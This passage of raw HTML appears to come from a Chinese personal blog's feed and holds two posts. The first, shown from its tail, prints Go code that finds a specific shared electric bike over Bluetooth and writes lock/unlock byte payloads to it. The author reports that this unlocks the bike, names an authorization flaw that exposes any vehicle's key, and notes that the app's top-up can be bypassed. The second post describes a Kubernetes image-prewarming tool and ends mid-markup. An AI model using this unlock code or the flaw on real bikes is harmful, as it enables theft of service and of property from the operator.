style="color:#a5d6ff">0</span>; a &lt; e; a<span style="color:#ff7b72;font-weight:bold">++</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> o <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">0</span>; o &lt; <span style="color:#a5d6ff">16</span>; o<span style="color:#ff7b72;font-weight:bold">++</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> rune(t[a]) <span style="color:#ff7b72;font-weight:bold">==</span> r[o] { <span style="color:#8b949e;font-style:italic">// assuming r is defined somewhere as an array</span> </span></span><span style="display:flex;"><span> buffer.<span style="color:#d2a8ff;font-weight:bold">WriteRune</span>(rune(<span style="color:#a5d6ff">42</span> <span style="color:#ff7b72;font-weight:bold">+</span> o)) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> buffer.<span style="color:#d2a8ff;font-weight:bold">String</span>() </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">ab2hex</span>(t []<span style="color:#ff7b72">byte</span>) <span style="color:#ff7b72">string</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> hexStr <span style="color:#ff7b72">string</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, b <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> t { </span></span><span style="display:flex;"><span> hexStr <span style="color:#ff7b72;font-weight:bold">+=</span> fmt.<span style="color:#d2a8ff;font-weight:bold">Sprintf</span>(<span style="color:#a5d6ff">&#34;%02x&#34;</span>, b) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> hexStr </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> machineNo = <span style="color:#a5d6ff">&#34;[REDACTED]&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">main</span>() { </span></span><span style="display:flex;"><span> mode <span style="color:#ff7b72;font-weight:bold">:=</span> os.Args[<span style="color:#a5d6ff">1</span>] </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> d, err <span style="color:#ff7b72;font-weight:bold">:=</span> darwin.<span style="color:#d2a8ff;font-weight:bold">NewDevice</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(<span style="color:#a5d6ff">&#34;new device&#34;</span>) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> ble.<span style="color:#d2a8ff;font-weight:bold">SetDefaultDevice</span>(d) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> ctx <span style="color:#ff7b72;font-weight:bold">:=</span> context.<span style="color:#d2a8ff;font-weight:bold">Background</span>() </span></span><span style="display:flex;"><span> client, err <span style="color:#ff7b72;font-weight:bold">:=</span> ble.<span style="color:#d2a8ff;font-weight:bold">Connect</span>(ctx, <span style="color:#ff7b72">func</span>(a ble.Advertisement) <span style="color:#ff7b72">bool</span> { </span></span><span style="display:flex;"><span> manufacturerData <span style="color:#ff7b72;font-weight:bold">:=</span> a.<span style="color:#d2a8ff;font-weight:bold">ManufacturerData</span>() </span></span><span style="display:flex;"><span> hexStr <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#d2a8ff;font-weight:bold">ab2hex</span>(manufacturerData) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> len(hexStr) &lt; <span style="color:#a5d6ff">13</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> slicedStr <span style="color:#ff7b72;font-weight:bold">:=</span> hexStr[<span style="color:#a5d6ff">4</span>:<span style="color:#a5d6ff">13</span>] </span></span><span style="display:flex;"><span> encryptedStr <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#d2a8ff;font-weight:bold">encrypt</span>(slicedStr) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> encryptedStr <span style="color:#ff7b72;font-weight:bold">==</span> machineNo { </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Printf</span>(<span style="color:#a5d6ff">&#34;%s - %s - %s\n&#34;</span>, a.<span style="color:#d2a8ff;font-weight:bold">LocalName</span>(), a.<span style="color:#d2a8ff;font-weight:bold">Addr</span>().<span style="color:#d2a8ff;font-weight:bold">String</span>(), encryptedStr) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span> }) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> services, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverServices</span>(<span style="color:#79c0ff">nil</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> targetService <span style="color:#ff7b72;font-weight:bold">*</span>ble.Service </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> services { </span></span><span style="display:flex;"><span> service <span style="color:#ff7b72;font-weight:bold">:=</span> service </span></span><span style="display:flex;"><span> uuid <span style="color:#ff7b72;font-weight:bold">:=</span> service.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> uuid <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">&#34;fef6&#34;</span> { </span></span><span style="display:flex;"><span> targetService = service </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> characteristics, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverCharacteristics</span>(<span style="color:#79c0ff">nil</span>, targetService) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> readCharacteristic <span style="color:#ff7b72;font-weight:bold">*</span>ble.Characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> writeCharacteristic <span style="color:#ff7b72;font-weight:bold">*</span>ble.Characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> characteristics { </span></span><span style="display:flex;"><span> characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.Property <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">18</span> { </span></span><span style="display:flex;"><span> readCharacteristic = characteristic </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.Property <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">22</span> { </span></span><span style="display:flex;"><span> writeCharacteristic = characteristic </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// 18 - read, 20 - write</span> </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Println</span>(characteristic.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>()) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(readCharacteristic, <span style="color:#79c0ff">false</span>, <span style="color:#ff7b72">func</span>(req []<span style="color:#ff7b72">byte</span>) { </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Println</span>(<span style="color:#a5d6ff">&#34;response: &#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> string(req)) </span></span><span style="display:flex;"><span> }); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> unlock <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">byte</span>{<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">3</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">2</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">0</span>} </span></span><span style="display:flex;"><span> lock <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">byte</span>{<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">3</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">1</span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> heartBeats <span style="color:#ff7b72;font-weight:bold">:=</span> [][]<span style="color:#ff7b72">byte</span>{ </span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">2</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">32</span>, <span style="color:#a5d6ff">10</span>, <span style="color:#a5d6ff">172</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">246</span>, <span style="color:#a5d6ff">82</span>, <span style="color:#a5d6ff">185</span>, <span style="color:#a5d6ff">236</span>, <span style="color:#a5d6ff">169</span>, <span style="color:#a5d6ff">10</span>}, </span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">216</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">130</span>, <span style="color:#a5d6ff">42</span>, <span style="color:#a5d6ff">86</span>, <span style="color:#a5d6ff">39</span>, <span style="color:#a5d6ff">22</span>, <span style="color:#a5d6ff">190</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">18</span>, <span style="color:#a5d6ff">174</span>, <span style="color:#a5d6ff">90</span>, <span style="color:#a5d6ff">66</span>, <span style="color:#a5d6ff">71</span>, <span style="color:#a5d6ff">56</span>}, </span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">135</span>, <span style="color:#a5d6ff">160</span>, <span style="color:#a5d6ff">58</span>, <span style="color:#a5d6ff">30</span>}, </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> data []<span style="color:#ff7b72">byte</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> mode <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">&#34;lock&#34;</span> { </span></span><span style="display:flex;"><span> data = lock </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> data = unlock </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> payloads <span style="color:#ff7b72;font-weight:bold">:=</span> append(heartBeats, data) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, p <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> payloads { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(writeCharacteristic, p, <span style="color:#79c0ff">true</span>); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">200</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Millisecond) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">CancelConnection</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>client.<span style="color:#d2a8ff;font-weight:bold">Disconnected</span>() </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>编译运行该 Go 程序,程序蓝牙找到共享电单车然后就开锁了~</p> <div class="container"> <div id="player-wrapper" class=""></div> </div> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/@clappr/player@latest/dist/clappr.min.js"> </script> <script> var playerElement = document.getElementById("player-wrapper"); var player = new Clappr.Player({ source: "/images/2023/08/hack-electric-bicycle.mp4", mute: true, height: 360, width: 640 }); player.attachTo(playerElement); </script> <p>效果还是相当帅的。</p> <h2 id="最后说几句">最后说几句</h2> <p>所以综上,这个共享电单车最大的问题就是那个查询车辆秘钥的接口存在水平越权,可以获取任意车辆的秘钥进行开锁,而没有确认用户的支付状态。之前也尝试看过酒店房间里的蓝牙自动贩卖机,有的是会校验商品的购买状态,并且每一次开锁的 Secret 都会变,有的就无脑中间人抓包改下就行,连 Secret 都没有。 同时,文章开头提到的小程序 20 元起充,其实抓个包也能很简单的 bypass。</p> <p>但我是遵纪守法的好市民,我现在出门也还是老老实实地扫码充值骑车哦,等后面买车了其实也用不上那些共享电单车了。嘻嘻。</p> <p>话说我搞完这些后,抬回家的共享电单车一直停在楼道懒得再抬下去还掉。拖到最后,这块片区的运营给我的手机又是发短信又是电话,问我住哪,然后亲自上来把停在楼道的电单车搬走了,给我吓得以为来查水表了。看来私自改车锁车藏车在他们眼里已经见怪不怪了&hellip;&hellip;</p>我只是想要一个简单轻量的 K8s 镜像预热而已!https://github.red/forklift/Thu, 16 Mar 2023 03:34:07 +0800https://github.red/forklift/<p>最近一个多月,我的生活发生了很大的变动。2 月 15 日因为一直以来积攒的情绪,心情很差。那天深夜我提了离职,离开了从零开始一直干了两年多的公司。</p> <p>后面又是因为一些不方便明说的原因,经营了两年多的 NekoBox 被迫关站。之后我会针对这个事情专门写一篇文章,说明背后到底发生了什么,以及分享这两年来的心得体会,同时给之前老用户提供数据存档取回的渠道。整件事情发生的挺突然的,对我而言也算是一种人生体验吧,哈哈。</p> <p>今天想要分享的,是 Cardinal Pro 平台在今年 HGAME 2023 比赛时遇到的一个问题,以及我给出的解决方案,可能不是很完善,还请各位多多指点。</p> <h2 id="诶我新加的节点怎么不能用">诶?我新加的节点怎么不能用?!</h2> <p>今年的 HGAME 2023 是协会第一次使用我开发的 Cardinal Pro 平台举办,相比之前使用 PHP 开发的平台,最大的特色就是平台支持基于 Kubernetes 动态启停选手独享靶机,相比之前由出题人单独使用各自的学生机部署共享题目环境,有了质的飞跃。</p> <blockquote> <p>这里插播一条广告,如果你有相关比赛 / 培训需求,想使用 Cardinal Pro 商业竞赛平台,欢迎联系<a href="https://lwsec.cn/">杭州凌武科技</a>~</p> </blockquote> <p>跟往年的协会寒假招新赛一样,HGAME 2023 是一个长达一个月的比赛,细分为四周单独计算排名,对应到比赛平台里就是四场比赛。参赛人数也是逐周递减,能坚持到最后的新生,才有可能挺进最后的总决赛。所以对于平台而言,我们要应对的就是比赛刚开始时第一周的突发流量以及选手动态靶机开启需求。</p> <p>在第一周的时候,运维的同学查看集群状态发现集群内 Pod 数量较多,节点相对压力较大,因此新加了一个节点进集群。相对应的,后面开启的题目靶机也就会被 K8s 优先调度到新开的空闲节点上。然后问题就出现了 —— 平台上选手题目环境一直开不起来,最后超过设置的超时时间,前端返回报错。 经过排查发现,是因为本次比赛为了尽可能的节约成本,集群大多使用边缘节点,有一些节点的网络环境可能偶尔抽风,导致无法连接上镜像源拉取镜像。当时临时的解决方案是重新换了其他网络正常的边缘节点拉取。</p> <p>后来讨论了下,认为集群内需要有个镜像预热的功能,提前将需要用到的镜像拉取到本地。因为流量高峰就是在比赛初期,这时往往也是第一次拉取镜像,一炸就会炸一片很影响用户体验。</p> <h2 id="现有的轮子太重了">现有的轮子太重了</h2> <p>搜索了下相关的资料,发现阿里开源的 <a href="https://d7y.io/">Dragonfly</a> å’Œ <a href="https://openkruise.io/">Openkruise</a> 项目都支持镜像预热的功能。</p> <h3 id="dragonfly">Dragonfly</h3> <p>Dragonfly 是作为一个 P2P 文件分发系统被设计出来,最初的目的是为了支撑双十一背后的服务器间大规模的文件分发需求。而容器镜像本质上也是存在磁盘上的一层层文件,所以也就顺带支持了。具体的介绍文章可以看这篇:<a href="https://developer.aliyun.com/article/244897">《直击阿里双11神秘技术:PB级大规模文件分发系统“蜻蜓”》</a>。 但是当我正准备选择搭建 Dragonfly 时,我发现这东西搭起来咋还需要 Redis å’Œ MySQL???以及它对于 Docker 运行时的镜像分发,还需要我编辑 <code>/etc/docker/daemon.json</code> 文件添加私有的镜像源并重启 Docker 运行时。 这种侵入式太强的配置我并不喜欢,因此放弃了使用 Dragonfly。</p> <h3 id="openkruise">Openkruise</h3> <p>我在我自己的集群里使用了 Openkruise 来给 Elaina 代码运行器做容器预热,相比 Dragonfly 的自己启动了一个 HTTP 代理作为私有镜像源,Openkruise 则是定义了一个名为 <code>ImagePullJob</code> çš„ CRD (Custom Resource Define) 定制资源用于描述镜像预热的策略。我可以指定拉取镜像的名称以及拉取策略,Openkruise 默认会在每天零点检查一遍是否有镜像没有拉取。 在部署上,也只是一个 Controller Pod,然后在每个节点上 DaemonSet 都起一个 Daemon Pod,相对来说比较轻量。 但是就比赛平台来说,每次出题人上传了一道题目,就要手动创建一个 <code>ImagePullJob</code> 资源来配置这个题目的镜像预热。这个工作交给运维的同学手动来做不太合适,直接耦合进平台让它去参与管理 Openkruise 的资源也不优雅。 况且 Openkruise 仅仅只是自动从镜像源拉取镜像罢了,遇到上文提到的节点本身网络有问题,连不上镜像仓库,还是无解。</p> <h2 id="集装箱叉车启动">集装箱叉车启动!</h2> <p>综上,我想要的仅仅只是一个简单轻量,能在集群节点间同步指定命名空间内 Pod 镜像的组件。所以就有了 forklift 这么一个项目:<a href="https://github.com/wuhan005/forklift">https://github.com/wuhan005/forklift</a> ,forklift 的中文翻译是叉车,也就是港口码头用来搬运集装箱的那玩意,用在这里还挺贴切的。</p> <p>先放一张我粗略画得架构图,然后我再来详细分享下它的一些实现细节:</p> <p><img src="https://github.red/images/2023/03/forklift-architecture.png" alt=""></p> <p>同 Openkruise 一样,我会在集群里的一台节点上部署一个 <code>forklift-controller</code> 作为主的控制器,这台节点也就担任起了从外部拉取镜像并分发的工作。实际在生产中我们可以用 Node Selector 来指定一台网络好磁盘大的节点作为 Controller。 所有的节点上都会部署一个 <code>forklift-daemonset</code> 用于定时轮询 controller,与自己本地已有的镜像做对比,看是否有缺失的镜像需要拉取。如果需要拉取则去请求 controller。</p> <p>不论是 <code>forklift-controller</code> 还是 <code>forklift-daemonset</code>,它们为了能操作自身节点宿主机上的容器运行时,因此都是部署为特权容器,并且能访问到宿主机的进程。具体的宿主机命令执行方式可以阅读我之前的文章:<a href="https://github.red/kubectl-exec-as-root/#%E4%BB%A3%E7%A0%81%E8%BF%98%E6%98%AF%E5%BE%97%E5%86%99%E7%9A%84%EF%BC%8C%E8%AF%A5%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%91%A2%EF%BC%9F">《呜哇!你这 kubectl exec 怎么不能指定用户呀?》</a> 同时还要挂在一个带集群 Pods 列出查看权限的 ServiceAccount Token 到 Pod 内,因为需要获取指定命名空间下的 Pod 镜像信息。</p> <h3 id="forklift-controller">forklift-controller</h3> <p>对于 Controller 而言,用户通过在 ConfigMap 中指定需要同步镜像的命名空间,ConfigMap 以配置文件的形式被挂载到容器中。Controller 读取配置后,启动一个简单的 HTTP 服务,根路由 <code>/</code> 返回指定命名空间下的所有 Pods 镜像。 <code>/load</code> 路由根据传入的镜像名,返回镜像文件包。如果 Controller 节点上事先不含这个镜像,那么它会操作宿主机执行 <code>docker pull</code> 命令去拉取;之后再 <code>docker export</code> 到宿主机,导出后宿主机执行 <code>docker cp</code> 复制镜像的 Tar 包到 Pod 的容器内,最后在 HTTP 响应中返回。</p> <p>这里有一个比较蛋疼的点:我在执行 <code>docker cp</code> 命令时,完整的命令如:<code>docker cp /tmp/image.tar &lt;containerID&gt;:/tmp</code>,其中的 <code>&lt;containerID&gt;</code>,也就是容器 ID,应该如何正确的获取呢? 在网上找了一圈,得到的办法也只有一条条遍历筛选当前 Pod çš„ <code>ContainerStatuses</code>,找到 Name 为当前容器名的 Status 记录,再读取这条记录中的 ContianerID 字段,真的是有够暴力的。 那么我又怎么得知当前 <code>forklift-controller</code> Pod 在集群内的名字呢?答案是通过读取 <code>HOSTNAME</code> 主机名环境变量!</p> <p>这些方法不知为何总给人一种不是那么可靠的感觉&hellip;.. 如果你有更好的办法,欢迎指出。</p> <h3 id="forklift-daemonset">forklift-daemonset</h3> <p>Daemonset 则会每五分钟请求一次 <code>forklift-controller</code> çš„ HTTP 服务,获取需要拉取的镜像列表,同时与自己节点上的镜像进行对比。发现有自身不存在的镜像,则去请求 <code>/load</code> 接口下载获取。整个过程与 Controller 刚好是相反的,Daemonset 下载完镜像到 Pod 容器后,操作宿主机执行类似 <code>docker cp &lt;containerID&gt; /tmp/image.tar</code> 的命令复制下载后的镜像 Tar 包到宿主机,之后执行 <code>docker load</code> 导入。</p> <p>这样的 <code>docker export</code> å’Œ <code>docker load</code> 镜像导出再导入的办法,可以保证镜像的名称绝对不会有问题。不像 Dragonfly 从自己启动的代理镜像源拉取镜像,拉取的镜像名称前面的 Host 会是代理镜像源 URL 中的。</p> <p>目前 forklift 仅支持 Docker 这一个 CRI,我留了一个 Interface,用于实现之后的 containerd 等其它运行时,其实也就把其它运行时的镜像列表、拉取、导入导出给实现就行了,本质上还是去宿主机上执行命令调各种 CLI。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">type</span> CRI <span style="color:#ff7b72">interface</span> { </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">ListImages</span>(ctx context.Context) ([]<span style="color:#ff7b72;font-weight:bold">*</span>Image, <span style="color:#ff7b72">error</span>) </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">PullImage</span>(ctx context.Context, image <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">LoadImage</span>(ctx context.Context, image, sourcePath <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">ExportImage</span>(ctx context.Context, image, destPath <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h2 id="我该怎么愉快的开发调试">我该怎么愉快的开发调试?</h2> <p>以上就是 forklift 的大致原理,听起来确实很简单易懂,但是我在本地开发的时候却疯狂抓耳挠腮。不在集群环境里开发集群组件,“如何在本地方便的调试?”成了我的一个大难题。 我咨询了下在上海某司做开源 K8s CI/CD 产品的同学,他说他们调试就是代码写完后跑自动化 CI 打包 Dockerfile 部署到集群里看。所以在那之前也会有意识地在代码里多输出日志,因为部署一次的时间周期挺长,最好争取一次搞定。这种行为在我听来十分的荒唐,我想我大概知道他们活干得慢人手不够的原因了&hellip;&hellip;</p> <p>偶然的一次,我刷到了一篇公众号文章 <a href="https://mp.weixin.qq.com/s/maI6Nu6r431LtGzrgq_6rg">《为什么在 Kubernetes 中调试应用的体验如此糟糕?》</a> ,文中介绍了 Telepresence 这么一个项目。它以部署 Sidecar 的形式,拦截集群中发送至指定 Pod 的流量到本地,同时使得本地可以直通集群内部的网络。并且为了避免对线上生产环境造成影响,它还支持设置带上指定的 HTTP Header 后才触发流量拦截。因此我只需要本地 GoLand 编译代码运行即可。forklift 需要连接线上 K8s API,开启 Telepresence 的话直接使用 <code>https://kubernetes.default/</code> 就能访问,同时 Controller HTTP 服务的 Service,也可以直接在本地进行访问。</p> <p>Telepresence 算是帮我解决了网络上的大难题,至于 ServiceAccount Token 的挂载,就只能在代码里将其写成可配置的,读当前运行路径下的文件了。文件挂载上目前倒确实没有啥更好的办法。(悲</p> <h2 id="让-chatgpt-帮我写-helm-chart">让 ChatGPT 帮我写 Helm Chart</h2> <p>代码写完跑通后,后面就该想想怎么样让用户方便的部署了。我自己的集群一直是在用 ArgoCD 以 Helm Chart 的形式部署各种应用,这次也打算自己试试打包一个自己的 Chart。</p> <p>网上搜索关于 Chart 开发的入门教程,往往都是让你执行如 <code>helm create forklift</code> 这样的命令,创建一个已经包含了 Deployment,Ingress,Service,甚至 HPA 的基础 Chart。这一堆 YAML 再配合上 Go 那反人类的模板语言,直接给人看懵了,完全无从下手。😥 并且它还会给贴心地给你展示一些“高级用法”,比如有个 <code>_helpers.tpl</code> 文件可以定义共用的模块,有个 <code>tests</code> 文件夹给你写个类似于测试一样的东西。但我只是想封个简简单单的 Helm Chart,自己再指定几个参数允许用户自定义而已啊!!!</p> <p>突然,我想到自己在线上集群测试的时候,曾写了几个 YAML 来部署需要用到的各种资源。再加上这段时间写代码没少麻烦 ChatGPT,我就在想能不能让 ChatGPT 帮我基于现有的 YAML,给我生成出 Helm Chat 来。试了下效果还真不错。我们只需要将之前的几个 YAML 全部合并到一个文件中,然后一起喂给 ChatGPT 让它帮忙生成就行。</p> <p>一开始它会比较笼统地告诉你创建 <code>Chart.yaml</code> å’Œ <code>values.yaml</code> 这两个文件:</p> <p><img src="https://github.red/images/2023/03/forklift-chatgpt-01.png" alt=""></p> <p>但是我们可以继续追问它,让它提供完整的 <code>values.yaml</code> 文件的内容,它会根据前面各种资源的 YAML 定义,比较聪明地判断出哪些是应该暴露到 <code>values.yaml</code> 里提供给用户自定义的。</p> <p><img src="https://github.red/images/2023/03/forklift-chatgpt-02.png" alt=""></p> <p>对于稍微不符合预期的结果,我们可以在自己改了一点之后,再让 ChatGPT 帮我们处理复杂的 Go 模板语言书写:</p> <p><img src="https://github.red/images/2023/03/forklift-chatgpt-03.png" alt=""></p> <p>甚至最后部署到 ArgoCD çš„ Application YAML,也可以让它帮你完成!真的很棒!</p> <h3 id="打包">打包</h3> <p>完成了 Helm Chart 的编写后,我们可以运行下 Lint 看看是否有问题:</p> <div class="highlight"><pre tabindex="0" 